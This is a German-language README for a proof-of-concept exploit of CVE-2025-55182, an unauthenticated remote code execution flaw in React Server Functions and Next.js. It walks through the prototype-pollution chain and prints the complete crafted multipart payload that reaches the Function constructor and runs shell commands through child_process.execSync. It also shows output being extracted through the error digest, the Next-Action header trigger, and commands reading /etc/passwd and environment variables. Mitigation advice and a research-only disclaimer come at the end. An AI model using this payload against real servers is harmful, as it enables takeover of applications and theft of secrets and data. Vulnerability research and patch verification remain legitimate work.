
Proof-of-Concept-Exploit für CVE-2025-55182, eine Sicherheitslücke zur Remote-Code-Ausführung in React Server Functions (Next.js). Zeigt Prototyp-Verschmutzung, die zu nicht authentifizierter beliebiger Codeausführung über manipulierte HTTP-Anfragen führt.
Demonstrationscode für eine Remote Code Execution (RCE) Schwachstelle in React Server Functions (Next.js etc.). Durch Prototypverschmutzung kann beliebiger Code ohne Authentifizierung auf dem Server ausgeführt werden.
Hinweis: Dieses Repository dient nur zu Bildungs- und Forschungszwecken. Missbrauch ist strengstens untersagt.
In der Deserialisierung des React Flight Protocol wird die Prototypkette nicht ausreichend validiert.
Dadurch kann über __proto__ auf den Function-Konstruktor zugegriffen und beliebiger JavaScript-Code ausgeführt werden.
Die einfachste Methode zur Überprüfung.
# 1. Anfälligen Next.js-Server starten
docker compose up -d --build
# 2. Exploit ausführen (Standard: id-Befehl)
docker compose run --rm poc
# 3. Benutzerdefinierten Befehl ausführen
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 4. Server anhalten
docker-compose down
Eine serverseitige API-Funktion, die z. B. in Next.js bereitgestellt wird.
// Server Action (wird nur serverseitig ausgeführt)
async function submitForm(formData) {
'use server' // ← Deklaration einer Serverfunktion
// Serverseitige Operationen wie Datenbankzugriffe
const result = await db.insert(formData)
return result
}
Wenn sie vom Client aufgerufen wird:
Der Client sendet Daten in Einheiten namens „Chunks“:
files = {
"0": (None, '["$1"]'), # Chunk 0: Verweis auf Chunk 1
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # Chunk 1: Verweis auf fruitName von Chunk 2
"2": (None, '{"fruitName":"cherry"}'), # Chunk 2: Eigentliche Daten
}
Nach Deserialisierung auf dem Server:
{ object: 'fruit', name: 'cherry' }
Entscheidend ist, dass Chunks gegenseitig referenziert werden können.
Vor dem korrigierenden Commit wurde beim Auflösen von Chunk-Referenzen nicht überprüft, ob der Schlüssel tatsächlich im Objekt vorhanden ist.
Dadurch kann auf die Prototypkette zugegriffen werden.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Auflösung der Referenz:
Objekt von Chunk 1 → __proto__ → constructor → constructor → Function
Ergebnis:
[Function: Function] // Function-Konstruktor abgerufen!
Chunk 0 als Objekt und die then-Eigenschaft auf den Function-Konstruktor setzen:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
In Next.js-Code (action-handler.ts:888, vor dem Patch):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Dieses await versucht, das Objekt mit then = Function-Konstruktor aufzurufen, was zu einem Fehler führt:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Der Function-Konstruktor wurde abgerufen, aber wie führt man beliebigen Code aus?
Erforderlich:
Function-Konstruktor aufruft (Code als String übergeben)Idee von maple3142: Einen „falschen“ Chunk erstellen, der auf sich selbst verweist.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # Überschreibt eigenes then mit Chunk.prototype.then
"1": (None, '"$@0"'), # $@0 = rohe Darstellung von Chunk 0
}
Die $@-Syntax gibt den „rohen“ Chunk zurück, nicht den aufgelösten Wert:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Ergebnis: Das then von Chunk 0 wird durch Chunk.prototype.then ersetzt.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← Hier wird reingegangen
}
// ...
}
Setzt man den Status des falschen Chunks auf "resolved_model", wird initializeModelChunk aufgerufen:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
Innerhalb von initializeModelChunk:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
Hier findet eine zweite Auswertung statt.
Blob-Verarbeitung im React Flight Protocol ($B-Präfix):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← Hier wird missbraucht
);
Manipuliere das _response des falschen Chunks so, dass _formData.get auf den Function-Konstruktor zeigt und _prefix den auszuführenden Code enthält:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # damit toString() keinen Fehler wirft
"value": '{"then": "$B0"}', # then mit Blob-Referenz setzen
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Function-Konstruktor
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
Ablauf der Ausführung:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// Diese Funktion wird per await aufgerufen → Codeausführung!
poc.py implementiert das obige Payload und extrahiert die Befehlsausgabe aus der Fehlermeldung:
# Befehlsausgabe in das digest-Feld des Fehlers einbetten
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
Der Angriff erfolgt allein durch Setzen des HTTP-Headers Next-Action: x:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
Wichtig: Dieser Angriff findet während der Deserialisierung statt, noch vor der Aktionsvalidierung (getActionModIdOrError).
Sofort aktualisieren: React und Next.js auf die neueste Version bringen
npm update react react-dom next
Version prüfen:
npm list react next
WAF/Sicherheitsmaßnahmen:
Next-Action# Projekt auf Schwachstellen prüfen
npm audit
Dieses Repository wird nur zu Bildungs- und Forschungszwecken bereitgestellt.
Schwachstelle entdeckt von: maple3142 PoC-Implementierung: Autor dieses Repositorys